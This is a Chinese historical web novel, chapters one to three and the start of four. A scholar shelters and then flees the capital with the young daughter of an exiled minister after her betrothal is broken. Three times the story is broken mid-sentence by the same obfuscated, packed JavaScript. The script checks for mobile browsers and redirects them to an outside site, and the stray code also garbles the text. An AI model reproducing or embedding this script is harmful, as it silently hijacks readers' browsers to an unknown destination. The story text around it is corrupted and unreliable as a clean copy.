《枕边娇色》 1. 第 1 章 令颐头一次觉得自己的手这么小。 正值初春,洛安城内,柔嫩的新柳笼罩在雨雾中。 伞下,令颐被一个白衣郎君牵着手,提着裙“哒哒”淌着水走出淮容侯府。 小姑娘的手娇娇小小的,这般一衬,倒是将年轻郎君骨节分明的手衬托得格外宽大。 面前的年轻郎君身形修长,一手撑伞,一手拉她。 似乎是怕她跑丢,他将令颐的手蜷成小小的拳头,整个包在掌心,包到分毫也瞧不见。 令颐从来没被人这么拉着,歪了歪脑袋,好奇盯了会他的大手。 唔……好像有她两个手那么大。 这是令颐的第一个结论。 她眨了下眼睛,看向这个只见过两次面的哥哥。 他可真好看呐,这是令颐的第二个结论。 长眉入鬓,墨发温顺,不过二十岁的年纪,五官却透着沉稳,还夹杂着几分如兰般的清雅,宛如天上谪仙。 尤其那一双狭长凤眸,眼尾极长,像两道凤翎,说不出的清贵气。 令颐见过不少父亲的门生,那些哥哥大多气度非凡,其中不乏世家大族出身的。 可在她眼中,竟无一人能与这位哥哥相媲美。 就是……神情严肃了些。 令颐不喜欢别人凶巴巴的样子,那会让她觉得发生了什么不好的事。 她希望身边每个人都轻松快乐。 她下定决心,仰头甜甜唤了一声:“哥哥。” 颜彻低头看向她,轻声问:“怎么了?” 令颐道:“哥哥,我们这是去哪啊?阿爹不是说要哥哥带我去淮容侯府吗?为什么侯府要将我们赶出来呢?” “令颐还记得燕侯爷,侯爷送过我糖葫芦,还喜欢把我举得高高的,说要令颐给他们家做媳妇……哥哥,什么是媳妇啊,哥哥也能跟令颐一块做媳妇吗?这样我们就能一起待在侯府啦。” 小姑娘声音软糯,天然带着撒娇的口气,一点也不认生。 天真烂漫的语气,任谁听了心都得化上几分。 颜彻看了她一眼。 目光虽未停留在她身上太长时间,神情却不自觉地温柔了些许。 “侯府近来诸事繁忙,暂时不便留客。妹妹先去我家中住几天好么?” 令颐咬着手指思考了一会,抬头道:“好,阿爹让令颐听哥哥的,哥哥说去哪令颐就去哪。” 颜彻朝她一笑,还是那副温润儒雅的样子。 可他的心情并未完全松下来。 侯府原本已经答应接纳令颐,可方才他们那番话,显然是事后反悔。 这便有些棘手了。 令颐的父亲乃是当朝礼部尚书姜朔,姜朔为官正直,不慎得罪阉党,致使全家被判流放。 数日前的诏狱牢房中,姜朔交给颜彻一封信,面容恳切。 “浔之,此信务必交予燕侯爷,望他们履行婚约,庇护我儿令颐。” “令颐这孩子自小被我们娇生惯养长大,伯聿更是疼这个妹妹,此去岭南山高路远,我们也实在是……不忍见她随我们受苦。” 颜彻接过那信,郑重颔首:“老师放心。” 当时,令颐就缩在阿娘怀里,好奇看着两人。 她年纪小,不明白一家人为何会被关在这黑漆漆的地方,也不懂爹娘还有阿兄阿嫂为何要去很远的地方,还把她独自留在京城。 只满脸懵懂地问:“阿娘,我不能跟着一起去吗?” 姜家主母虞氏强忍泪水,摸了摸她乱蓬蓬的脑袋。 “令令,我们不是去玩的,是要去办正事,你安心跟着颜郎君走,他会把你带到淮容侯府。” “你还记得燕侯爷吗?他小时候抱过你,指名道姓要你给他家做媳妇。往后,你就待在燕侯爷那儿。有什么困难就找你浔之阿兄,他会给你做主的。” 小姑娘手足无措,手忙脚乱拿衣袖给虞氏擦泪。 “阿娘莫哭,令颐最见不得阿娘哭了,令颐会听爹娘的话!” 说罢,像是为了表决心般,她跌跌撞撞向颜彻走去,乖巧喊了声:“哥哥……” …… 雨还在下着。 颜彻身量修长,步伐也比令颐大许多。 可怜令颐的小短腿,得时不时小跑几步才能跟上他。 “哥哥,可以慢些走吗……” 令颐撅着粉嫩樱唇,小声嘟囔着。 颜彻放慢了脚步。 令颐晃了晃他的衣袖,抬起湿漉漉的眸子:“令颐走不动了,哥哥能抱我走么?” “……抱你走?” 颜彻低头看去。 一双水汪汪的大眼睛无辜乖巧地巴望着他。 他沉思了半响。 他从未抱过小姑娘。 从前在彬江,因为颜家的一些经历,周围人大多对他敬而远之。 莫说女子,就是男子也甚少与他来往。久而久之,他便养成了独来独往的习惯。 令颐撩起裙子一角,可怜兮兮道:“哥哥,我的脚疼……” 颜彻这才看到,令颐的绣鞋上满是泥泞。 加上在牢狱里穿着粗糙的麻鞋,脚踝上的皮肤磨得发红,袜口处还渗着血丝。 令颐玉雪小脸皱巴着,眨着湿漉漉的眸子,眼里一片雾气朦胧。 小嘴一撇:“呜……哇!” 她哭了。 颜彻不会哄小女孩,憋了半天,脱口而出:“止住。” 令颐一愣,真的把泪憋了回去,呆呆看着他。 颜彻抿了抿唇,蹲下身对她道:“是我疏忽了,上来吧。” 小姑娘瞬间绽出笑来,朝他扑了过去。 颜彻顺势揽着她纤小的腰肢,稳稳托抱起来。 令颐一下子落入浸着冷松清香的怀抱。 她双脚腾空,下意识紧紧环住他脖颈,娇娇柔柔挂在他身上。 指尖传来异样触感,令颐定眼一瞧,是颜彻衣襟里的玉佩。 她眼睛亮了起来:“哥哥这个玉佩好别致,花纹也好看,令颐从未见过这种花纹,又像老虎又像龙。” 她生出玩心,忍不住摸了摸那枚玉佩。 是暖的。 令颐对玉佩爱不释手,眼里满是欢喜之色。 颜彻见状也由着她,将人往上托了托,温和道了句:“别乱晃,小心掉下去。” “好的哥哥。” 颜彻稳步朝前走着,小姑娘的身体又娇又软,抱着像胸口揣了只暖炉。 一路上风雨未停,竟也不觉得冷。 * 颜彻将令颐带到一座不大不小的三合宅院。 此番他入京赶考,原本是和其他考生住在贡院,姜家出事后,为了避免不必要的麻烦,他便一人搬来这里。 令颐刚住进来的几日,颜彻忙着与淮容侯府交涉,便将令颐交给了邻居冯大娘照顾。 冯大娘是个年逾四十的胖妇人,为人热忱,听闻此事后,满口应承了下来。 她从家里拿来几件她女儿的旧衣,进门见到令颐的那一刻,她一双眯缝眼蓦然睁大,足足在原地愣了三息。 “老天爷诶!” 冯大娘瞪圆了眯缝眼:“这丫头咋长得跟年画上的娃娃似的!比观音娘娘座下的玉女还好看!” 这话可不是奉承话。 令颐年纪虽小,相貌却是数一数二。 天生瓷白玉肤,玉雕雪堆似的,闪着薄薄的莹光,似乎呵一口气就会融化。 一双水灵杏子眼,琼鼻秀巧,十足十的美人坯子。 尤其下唇那一颗咬唇小痣,像是咬破的樱桃,每个算命天师都赞叹说这是仙娥落凡的标记,来日定有福报。 因为这个小福星的称号,令颐从小就经常被世家夫人们抱在怀里,一抱就不肯撒手。 冯大娘还没从对令颐的震惊中缓过神来。 “乖乖,这要是长大了还得了?保准能把京城里那些公子哥儿的眼珠子都看得瞪出来!” 令颐正饿得肚子咕咕叫,闻着馄饨香,哪还顾得上听这些夸赞,捧起碗就呼噜呼噜吃起来。 冯大娘看得直乐:“慢点儿吃慢点儿吃,别噎着!锅里还有呢!” 一边忙活一边对着令颐的小脸称叹。 “要说这颜郎君也是好福气,自己生得俊不说,身边带着的丫头也这么招人疼。你们兄妹俩往街上一站,能把整条街的人都看傻喽!” 令颐正扒拉着碗里的馄饨,闻言嘟嘟囔囔地说道:“可是……浔之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762943|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥不是令颐的阿兄啊。” 令颐有阿兄,伯聿阿兄还有阿嫂对她特别特别好。 她可不能随便认别人当阿兄! 冯大娘问:“啊?不是兄妹,那你们是?” 令颐仰头想了一会。 以她现在的认知,确实说不上来自己和浔之哥哥是什么关系。 她咬了咬勺子:“唔……令颐也不太明白,爹娘把我交给了浔之哥哥就走了,还说等我长大了,要让我做,嗯……做媳妇什么的。” 冯大娘是个见多识广的,闻言心中顿时明白了几分。 她心里讶异道,难怪,颜彻一个上京赶考的书生,身边带着个需要照顾的小丫头。 敢情是自己未来的小媳妇。 她偷瞄着令颐天真无邪的小脸,忍不住小声嘀咕:“造孽哟,这么丁点儿大的娃娃就送人当媳妇,这爹娘心肠也忒狠了。” 令颐好奇眨着眼:“冯大娘,您说什么?” 冯大娘看着令颐天真可爱的样子,赶紧抹了把脸,挤出个笑来。 “没啥没啥,姑娘放心,颜郎君既然将姑娘交代给我,我保管把姑娘照顾的白白胖胖的。” “来来来,再吃一碗!” “谢谢冯大娘!” 令颐继续把小脸埋进饭里,一口接一口吞下荞麦薄皮馄饨,连汤汁儿也没剩下。 冯大娘瞧她这副可爱吃相,乐呵呵笑个不停。 天阴沉沉的,傍晚时分又落了一场小雨。 冯大娘给令颐换了衣服,铺好了床,便起身离开了。 夜深人静,令颐躺在陌生的拔步床上,耳畔雨声潺潺。 在诏狱里有阿爹阿娘陪着,即便在草席上也能入睡。 可如今,她盖着松软小被,枕着蒲花褥,浑身绷直。 这里只有自己一个人吗…… 令颐忽然有些想哭。 烛火摇颤了下,仿佛在朝她狰狞狂笑。 她想起从前偷看过的话本《诡妖纪》。 那些吃人夜叉,专喜欢在夜晚钻入小女孩的房间,先啃手指头,再嚼掉她们的脚趾头…… “吱呀——” 木门不知被谁推开,一道黑影投映在短屏风上,晃晃悠悠朝床边压过来。 “啊——别吃我!我、我不好吃!” 令颐抓起被子猛捂住头,身子抖得像筛糠。 “诶呦我的小祖宗!” 冯大娘赶紧点亮油灯:“是我是我!你这孩子咋吓成这样?” 令颐娇小的身子往外拱了拱,苍白的脸颊上挂着泪珠,哀怨看向来人。 “冯大娘,你不要这么吓人嘛……进屋连声儿都没有,我还以为是话本里的妖怪来吃人了。” “令颐最怕黑了……” 冯大娘愣了一瞬,笑得直抹眼泪。 “你这丫头,胆子咋比芝麻还小!” 说着她坐到床沿,帮令颐把被子边边角角都掖严实了。 “怕黑咋不早说,让颜郎君来陪着不就得了?” “自家兄妹,有啥抹不开脸的?” 令颐半张脸缩进被窝,小声呢喃:“可是阿娘交代过令颐,这个不能随便往外说……” 她胆子小,夜间有人陪寝才睡得着,否则就心悸发汗,爹娘给她找来多名贵的安眠香都不管用。 后来是大夫说:“二小姐这是倚梦症,老爷和夫人若是可以的话,尽量多找些婢女丫鬟陪小姐睡,待小姐长大些兴许能减轻症状。” 伯聿阿兄还打趣她:“妹妹,你这黏人劲儿一般男子可消受不了,将来得找个会疼人的郎君才行呢。” 一番话把令颐说的头都晕了。 “阿兄在说什么呢,令颐听不懂。” 虞氏叮嘱她:“令令,别听你大哥的浑话。记住了,这是小女儿家的私密之事,切不可随意往外说。” “嗯嗯!我知道啦。” 令颐一向很听话,阿娘不让她往外说,她就绝对不会说。 可眼下,还是被人知道了。 令颐满心惭愧,紧紧捂住被子,觉得自己辜负了阿娘的叮嘱。 冯大娘看见她这模样,拍了拍她的背:“傻丫头,这有啥不好意思的?赶明儿俺跟颜郎君说说就行了。” 2. 第 2 章 书房内,颜彻指尖拂过桌上退婚文书。 侯府朱印鲜红刺目,映得他眉目间浮起一层寒意。 今日,他登门交涉,那侯府管家端着茶盏,眼皮都懒得抬一下。 “颜郎君应当明白,我们世子爷是要尚公主的人。” 也是。 如今的姜令颐不过是罪臣之女,而他颜彻,纵是解元之身,在侯府眼里也不过是只蝼蚁。 那些王公贵族只手遮天的手段,他十二岁时便已领教过了。 当时也是这样的雨吧。 那人身着千金难买的锦袍,将玉箸递给他,笑着说:“颜神童,尝尝?” 他不知道自己是怎么微笑接纳,和那些锦衣华服的人谈笑风生。 就像今日,他也能笑着将退婚文书收入袖中。 颜彻垂了垂凤眸,指尖在宣纸上摩挲出沙沙轻响。 好在燕侯爷答应,只要颜彻送来退婚文书,他便向阉党说情,让令颐不再受流放之苦。 为今之计,他只能暂且收留令颐,庇护她,直到姜家平反的那一天。 虽然这个丫头年纪太小,但姜朔既然将女儿托付给了他,他便不会推辞。 这种结果让颜彻心中生出一丝复杂的感觉。 就像是一个遭人嫌弃的恶鬼,不被人依赖也不受人待见,一转头,身边多了一只需要喂糖的小兔子。 还是只不太聪明的兔子。 两人走出侯府那一段路,她先是被路边的花吸引跑去摘了一枝,没过一会又兴奋指着石桥,说要下去数鸭子。 颜彻毫不怀疑,若不是自己牢牢拉着她,她不出半柱香时间就会跑得无影无踪。 怕是被人卖了还要帮着数铜板。 他嘴角勾出一抹浅笑,将退婚文书收了起来。 恰此时,冯大娘挎着篮子推门而入。 “诶呦,颜郎君可算回来了,俺已经在这儿等了两个时辰了!” 颜彻抬眸,面上已换上温润如玉的笑意。 “可是令姑娘出了什么事?” 冯大娘连忙摆手:“没事没事!姑娘她好得很,中午还多吃了一碗饭,吃饱了便上床休息,这会子还没醒呢。” “俺来是想给郎君告个假,这几日怕是没法照顾令姑娘了。俺乡下有个亲戚生了重病,家中实在无人照料,俺得回去帮衬帮衬。” 颜彻微微颔首:“好,这些日子有劳大娘悉心照顾,以后若有什么需要,只管吩咐在下。” 说罢,他从柜中取出一兜银子交到冯大娘手上。 一举一动温和有礼。 “晚辈小小心意,还望您收下。” 冯大娘连连推辞:“哎呀郎君这怎么好意思呢!” 冯大娘不愿收下,可架不住颜彻坚持,只好乐呵呵地接受了。 她又交代了几句,颜彻认真听着,衣袖不经意轻拂过桌面。 书卷里的一物被扫落,发出清脆的响声。 他弯下身,将地板上那物捡在手里。 一颗桂花糖。 冯大娘见着那糖,老脸笑出一朵花来。 “令姑娘这是惦记着您呢,总问郎君您怎么还不回来,上次还给您留了半盏杏仁酪说要等您回来吃,结果不到一个时辰就忍不住自己吃了。” “小姑娘愧疚的不行,就给您折了枝好看的杏花插在花瓶里了。” 冯大娘指了指柜子上的瓷瓶。 颜彻指尖摩挲着那颗糖,微微一笑。 他道:“冯大娘见多识广,不知有一事可否请教您?” 冯大娘乐不可支:“哎呦,颜郎君可真是太见外了!谁不知道颜郎君您是解元郎出身,彬江出了名的神童啊!俺不过一个没读过书的妇人,哪儿敢说指教郎君您啊!” 颜彻轻笑了声。 “不敢,在下是想请教,该如何照顾令颐这般岁数的小姑娘,衣食住行上可有什么需要注意的?” 冯大娘立刻明白了他的意思。 她心里感慨了一句,也是,哪怕是颜郎君这样的大才子,这男女之事也是需要人教的。 冯大娘回想了下,那些家里有童养媳的夫妻是如何相处的。 她兴致勃勃地说道:“郎君得明白,这年纪的姑娘最是娇气了,郎君要和令姑娘多亲近些,宠着疼着才好。” “就说这穿衣吧,令姑娘这么小正是爱美的年纪,挑些颜色鲜亮、料子柔软的衣裳,她穿上指定欢喜。吃饭呢,姑娘正是长身体的时候,得荤素搭配着来,再多做些小姑娘喜欢的饭菜,令姑娘爱吃甜,可这甜食得适量,不能多吃。住的地方,屋子要收拾得干干净净、暖暖和和……” 冯大娘把衣食住行几乎说了个遍,忽而又想起什么,一拍大腿—— “对了!令姑娘她夜里怕黑,上回暴雨天的时候把床帐都哭湿了。您不知道,小姑娘家胆子小,郎君若是能夜里守着姑娘,姑娘她也能睡得安稳些,保准比喂糖还管用呢。” 说到这里,冯大娘意味深长道:“小姑娘嘛,还是得多疼,郎君须得开窍一些才是。” 她看了颜彻一眼,不知为何,心里头忽然咯噔一下。 面前的年轻郎君脸上倒是带点笑模样,却看得她心里直打鼓。 冯大娘自认也算识人无数,每回见颜彻这笑而不语的神情,心里总觉得瘆得慌。 她觉得,这颜郎君平日里对着人是客客气气,礼数周全。 可他那股客气压根没热乎劲儿,总觉得他跟人之间隔着一层啥,摸不着也看不透。 那眼神深处怕是藏着股子狠劲儿,像山沟里那些悄没声儿盯着人的野物,对事对人都冷冰冰的,没有什么能真搁他心上。 冯大娘转念又想了想,嗨,瞎寻思啥呢。 人家是念大书、有大本事的人,那能跟她这土里刨食的庄稼人一样敞亮? 兴许啊,人家那肚子里装的都是墨水,心思自然就重,就深。 她这么一寻思,心里的不适感缓解了一些。 临走时,她塞给颜彻一个油纸包,道:“这是山楂蜜饯,令姑娘最爱这个。郎君可莫嫌弃俺多嘴,这养小姑娘啊,得把心肝儿掏出来捂着。” 颜彻颔首行礼:“好,我都记下了。” 他转眸看向身侧。 瓷瓶里的杏枝斜斜探出,还带着朝露的湿润。 那么高的柜子,他能想象到她垫着脚往瓶子里插花的笨拙模样。 * 当晚,夜雨如注,檐角铜铃被风卷得叮当作响。 令颐是被雷声惊醒的,这才发现外面天已经黑了。 “轰隆——” 又一道惊雷响起,她赶紧缩进被褥,用软枕死死捂住耳朵。 “呜……好可怕……” 小姑娘把脸埋进软枕里,忽然听见肚子发出"咕——"的抗议声。 令颐瘪了瘪嘴,委屈地戳了戳小肚子。 “别叫啦,冯大娘回家去了,没人给我们做宵夜……” 可饿扁的肚子才不管这些。 第三声雷鸣时,令颐终于一个鲤鱼打挺坐起来。 她下床披好衣服,提着灯,深呼一口气,把自己想象成武侠话本里的剑客。 任务,夜袭厨房,夺取桃酥! 难度,乙等,需提防黑暗中的未知危险! 赏金,一匣子酥脆香甜的桃酥! 她绷着小脸,郑重其事地点头,仿佛接下了一项生死攸关的使命。 正前方,台阶障碍!注意脚下湿滑! 左转回廊,传闻有夜游妖怪出没,需快速通过!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762944|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她蹑手蹑脚地走着,刚一绕过回廊,忽见北边的厢房内透出温暖的光,在黑夜中格外醒目。 温暖的光线仿佛金黄的柿饼一样诱人。 是浔之哥哥回来了吗! 令颐眸子倏地亮起来,提着裙裾便蹦蹦跶跶往那处跑去。 “浔之哥哥!” 她一把推开门,带进一阵夹着雨气的风。 屋内,颜彻正执笔给友人写信,闻声缓缓抬眸。 眼前站着一个落汤鸡似的小姑娘,发梢滴着水珠,白嫩的脚丫踩在地板上。 一双杏眼湿漉漉的,像淋湿雨的倒霉小鹿。 他搁下狼毫,目光掠过她冻得泛红的脚踝。 “妹妹平常喜欢光脚走路吗?” 令颐低下脑袋。 嗯……女侠士竟然忘了穿鞋,失策! 她蜷了蜷白嫩的脚趾,小声辩解:“我、我忘了……那个,哥哥这里有帕子吗……” 颜彻垂下眼眸,道:“坐下吧。” 令颐乖乖爬上椅子坐好,轻轻晃着脚丫。 颜彻起身取了软巾,蹲下身握住她的脚踝,替她擦净水渍。 他的掌心温热,指腹因常年执笔而覆着薄茧,蹭得令颐脚心发痒。 “哥哥,痒……好痒!” 颜彻停住了动作。 他抬头问:“饿么?” 令颐眼睛一亮,小鸡啄米般点头:“饿!” 颜彻微微颔首,抱着她走到一旁的案前,放在椅子上,摆娃娃一般摆好。 面前的桌上摆着几样精致小菜,还有一碟蜜汁酥肉。 酥皮金黄,蜜糖晶莹,香气直往鼻尖钻。 “浔之哥哥做的?”她惊喜地问。 颜彻不置可否,只淡淡道:“尝尝。” 令颐迫不及待地捏了一块酥肉塞进嘴里,酥脆香甜的口感瞬间在舌尖炸开。 她扒拉着碗里的饭,幸福地眯起眼,含糊不清地嘟囔:“好吃!比冯大娘做的还好吃!” 颜彻看着她鼓起的腮帮子,眼底浮起一丝极淡的笑意。 真的像在喂兔子。 见令颐吃的差不多了,他拿出一包山楂蜜饯,递到令颐面前。 “令颐。” 他唤了一声。 “认我作兄长如何?” 颜彻的声音如春日溪流般清澈悦耳,有种娓娓道来的感觉。 令颐死死盯着那果脯。 红艳艳的山楂裹着糖霜,像雪地里的小灯笼。 她咬了咬唇,眼巴巴道:“可是,令颐要是认浔之哥哥当阿兄,伯聿阿兄怎么办?阿兄他没人要了,岂不是很可怜?” 颜彻不紧不慢:“放心,你伯聿阿兄有家室,不是没人要。” 令颐还在纠结。 颜彻指了指桌子:“认我当兄长,天天有这些好吃的。” 令颐惊喜不已:“真的吗!” 她是个很容易被美食收买的人,瞬间将刚才的话抛到了九霄云外。 好吃好喝,还有个这么温柔的哥哥……好像还不错? 只能委屈伯聿阿兄了! “好,我答应!” 颜彻点头,起身将退婚文书拿出。 “你在上面签上字,以后就是我的妹妹了。” 然后,他将脖子上那枚玉佩取下,挂到令颐身上。 “从今以后,若是想保护你的阿爹阿娘,便不能再说自己是姜家人了,知道么?” 令颐摸着那玉佩,爱不释手。 “嗯嗯,我知道啦!” 她心里虽不是很明白,但既然说是要保护自己的爹娘,她便爽快答应了。 写好名字后,颜彻将令颐的小鞋拿了过来。 “天色不早了,我送你回屋。” 3. 第 3 章 令颐耍起了无赖,张开小细胳膊。 “令颐要哥哥抱。” 自小在姜府,她就喜欢让人抱着走。 可伯聿阿兄是习武之人,浑身硬邦邦的,硌得她生疼。下人们又总是战战兢兢生怕摔着她,勒得她喘不上气。 唯独上回被颜彻抱过,修长的手臂不松不紧地环着她,身上还带着清冽的香味,让她舒服得直打瞌睡。 她觉得这个哥哥抱的最舒服。 颜彻这次没有犹豫太长时间,将小姑娘稳稳当当抱了起来。 令颐像只猫儿般窝进他怀里,小脑袋贴着他胸前的衣料,偷偷嗅着他身上的香气。 回屋后,颜彻拧干温热的帕子,动作轻柔地为令颐净面拭手。 他指了指床:“回去躺好。” 令颐乖巧“嗯”了一声,钻回被窝躺好。 她以为颜彻要走,不料,他搬了把春山凳过来,掀袍而坐。 就那么自然而然坐在她的床头。 他身量高,这般坐着,几乎将半张床榻都笼在影子里。 姿态优雅从容,仿佛只是随意寻了个地方看书。 令颐眨了眨水灵灵的杏眼。 即便是父亲和伯聿阿兄也很少踏入她的闺房,更不用说离她的床这么近。 令颐几乎能看到他眼睑下的淡青,还有细密的睫毛阴影。 她伸出手拽了拽他的衣袖:“哥哥?” 片刻后,颜彻清冷的声音响起。 “妹妹平常读什么书?” 令颐一怔,随即眉眼弯弯:“哥哥要给我念书吗?” 颜彻没答,从案几上拿来几册话本。 令颐看过去,神情立刻雀跃起来:“是《山海记》,哥哥怎么知道我爱听这个!” “猜测罢了。” 对颜彻来说,一个小姑娘的心思并不难猜。 他翻开书页,低沉的嗓音缓缓流淌。 颜彻念书时语调平稳,音色介于温润和低沉间,像山涧清泉,泠泠淙淙。 那些神神鬼鬼的故事经他一念,听上去都没那么可怕了。 令颐起初还睁着圆溜溜的眼睛盯着他瞧,渐渐地,眼皮开始发沉。 过了没多久,她小脑袋一点一点的,最终歪在软枕上,呼吸绵长。 颜彻合上书册,垂眸看她。 小姑娘睡得香甜,长睫如蝶翼般垂着,唇角还带着浅浅的笑意。 他伸手替她掖好四个被角,动作极轻。 窗外月色如水,年轻郎君的身影默默守在榻前,许久未动。 翌日清晨,令颐是被颜彻温柔叫醒的。 小姑娘伸了伸懒腰,糯声糯气道:“哥哥,昨晚我睡的好香啊……” 是这么长时间来最香的一次。 颜彻眼里含着柔光。 他早已起身多时,身上的墨色长衫穿戴得一丝不苟。 可偏偏手里拿着小姑娘的花衣服,整个人看上去显出几分生动来。 令颐半眯着眼,慢悠悠从衣服下面钻了进去,一点点拱出脑袋。 穿戴整齐后,颜彻将她抱到了梳妆台前,执起木梳,指尖拂过她柔软的发丝,细心梳好一个发髻。 “哥哥梳得这样好,是不是常给家里的姐妹梳头啊啊?” 颜彻淡淡道:“不曾。” 令颐心里疑惑,他却似乎不愿谈论这个话题,道:“过来用早膳。” 桌上摆着两碗熬得浓稠的米粥,还有几碟小菜。 颜彻夹起最嫩的菜心放到她碗里:“别挑食,冯大娘说你要多吃些蔬菜。” “好嘛……” 令颐不情愿吐了吐舌头,把脸埋进碗里。 颜彻垂眸道:“吃三口菜,奖励一颗蜜枣。” 令颐瞬间眼睛亮起。 午后换药时,阳光正好。 椅子上的小姑娘咬着唇,可怜巴巴看着自己的脚。 脚踝处的伤口已经结了深褐色的痂。 颜彻的指尖沾着药膏,在触到皮肤的瞬间,小姑娘疼得直抽气。 她泪眼汪汪,委屈道:“哥哥……” “忍一忍。” 他不动声色从袖中摸出油纸包,展开是几颗蜜渍梅子。 令颐两眼放光伸手去抓,却被他轻轻拍开:“先上完药。” …… 这么相处了几日,令颐觉得这个哥哥非常会照顾人。 白日里,两人温馨相处,暮色四合,他就在她房中点一盏青瓷灯,就着昏黄灯火读书。 读到有趣处,会轻声念与她听。 “妹妹的先生平常都教什么书?” 某夜,他忽然问道,手指轻轻摩挲着书页边缘。 灯影在他眉骨处投下深浅不一的阴影,将那双平静的眼睛映得格外温柔。 令颐晃着脑袋想了想。 “《千字文》《幼学琼林》,有时来了兴致,先生还会教《史记》,朱子的《童蒙须知》……” 颜彻道:“《史记》太深,《童蒙须知》又太板,都不适合你的心性。” 于是,他便寻来几本《幼学琼林》,教与她听。 “学到哪一篇了?” “《科第》。”令颐如实回答。 颜彻指尖翻动至那一页:“鹿鸣宴,款文榜之贤;鹰扬宴,待武科之士……” 他轻笑:“倒是应景。” “妹妹可知何为折桂?” 年轻郎君问着,声音里带着几分考校的意味。 令颐摇头,颜彻便顺势讲起蟾宫折桂的典故。 “传说,月宫有一棵桂树……” 年轻郎君的声音渐渐低柔下来。 不是像夫子那样掉书袋,而是将晦涩的文字换成通俗易懂的话。 令颐拍手笑道,绽开颊边两个梨涡:“哥哥比我夫子教的好多了,若哥哥教书,一定有人抢着听哥哥讲学!” “不像令颐的教书先生,每次念文章砸得令颐一个头两个大。” 她向来不吝于对别人的赞美,她喜欢让身边人都开心。 颜彻抿唇微笑:“你心思细腻,凡事一点即通,是个不错的学生。” 他就这般给她念着,直到她眼皮打架,才轻手轻脚为她掖好被角。 有时令颐清晨醒来,见他斜靠在窗边长椅上,阖着双目。 羽睫在熹微晨光中投下淡淡阴影,手中书卷将落未落。 令颐便偷偷数他的睫毛,闻到他袖口处染着昨夜的灯油香。 似乎在这里待了一整晚。 令颐以为,这样平静的日子会一直持续下去。 谁知这日,她正在院中逗弄白兔,一阵急促的敲门声传来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762945|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 颜彻开了门,一个书生打扮的人慌慌张张进门。 “颜兄,你得赶紧走,离开京城!” 颜彻顿时警觉:“出了什么事?” 张书生道:“方才锦衣卫和东厂的人闯进贡院,把今科和姜大人交好的举子都锁拿了,说他们私结朋党!” “有个不肯就范的,已经当场被捅死了……” 颜彻赶忙回头看了看院子里的小丫头,见她歪着脑袋似是没听到,方松了半口气。 “好,我马上带令颐离开这里,多谢张兄。” 他转身向令颐走去,月白色衣袖掠过花架,扫落几瓣香雪。 “令颐,我们得离开京城一段时间。” 庭内花枝沙沙作响,斑驳花影映在两人身上。 令颐手中草叶倏然落地,她仰起脸不解道:“离开?那我们什么时候回来呢?” “等这里欢迎我们的时候,再回来。” 年轻郎君温柔说着,像是怕惊扰了蔷薇的春梦。 为保险起见,这春闱,他数年寒窗等来的春闱,大概是参加不了了。 倒是遗憾。 颜彻正想着如何躲开城门搜查,耳畔忽然传来抽泣声。 他问:“怎么哭了?” “我、我也不知道为什么……” 令颐抽嗒嗒着抓住他的衣袖:“只是看哥哥露出这种表情,令颐心里心里好疼,像是有人把心尖那块肉给剜去了……” “阿爹在家里经常夸赞哥哥,说哥哥十六岁中举,是、是瓷器,” “京城没有不欢迎哥哥,他可能只是最近心情不好,所以让哥哥误会了……” 她搭上他的手,眼眸蓄满了泪。 莽撞、笨拙、炽烈。 泛红的眼眸比春日更耀眼,带着灼人的温度。 颜彻怔了半响。 他从未见过哪个闺阁约束出来的少女有这样的眸子,干净,剔透,不染一丝尘埃。 泪珠滚落时,他看见自己略带错愕的倒影。 颜彻向来疲于与闺阁女子周旋。 颜家还未出事前,因为颜彻神童的美誉,上门说亲的踏破了门槛。 其中不乏当地世家大族家的女儿,那些小姑娘皆是聪明伶俐,冰雪可人。 个个玲珑剔透,又个个像精心雕琢的玉人。美则美矣,却是连笑靥的弧度都量好了分寸。 背后连系着各自的家族,一言一行都带着目的。 而眼前这个傻丫头,连哭都不会用帕子掩面,眼泪鼻涕全蹭在他袖子上。 可在颜彻眼里,她却比那些姑娘看着顺眼。 “傻丫头,不是瓷器,是国器。” 年轻郎君一声轻叹,飘飘然散在了风里。 他温柔低眉,指腹拭去她腮边泪珠。 “彬江是个很美的地方,这个时候正是温暖怡人,六烟桥边春江水暖,很适合小姑娘游湖踏青。” “不知妹妹可愿同行?” 令颐眼里莹然闪着光,脆生生应道:“愿意!” 杏眼中泪光未干,女孩的笑容却已绽放如初春的花。 远处传来暮鼓声,惊起满庭栖鸟。 暮色中,白衣郎君拿好行李,抱着小姑娘从后门离开。 就在他们身影消失的刹那,院门被轰一声撞开,绣春刀劈碎满庭春色。 4. 第 4 章 建兴四年,初春。 茶馆内人声鼎沸,说书人重重拍下惊堂木,满堂茶客顺着声音看过来。 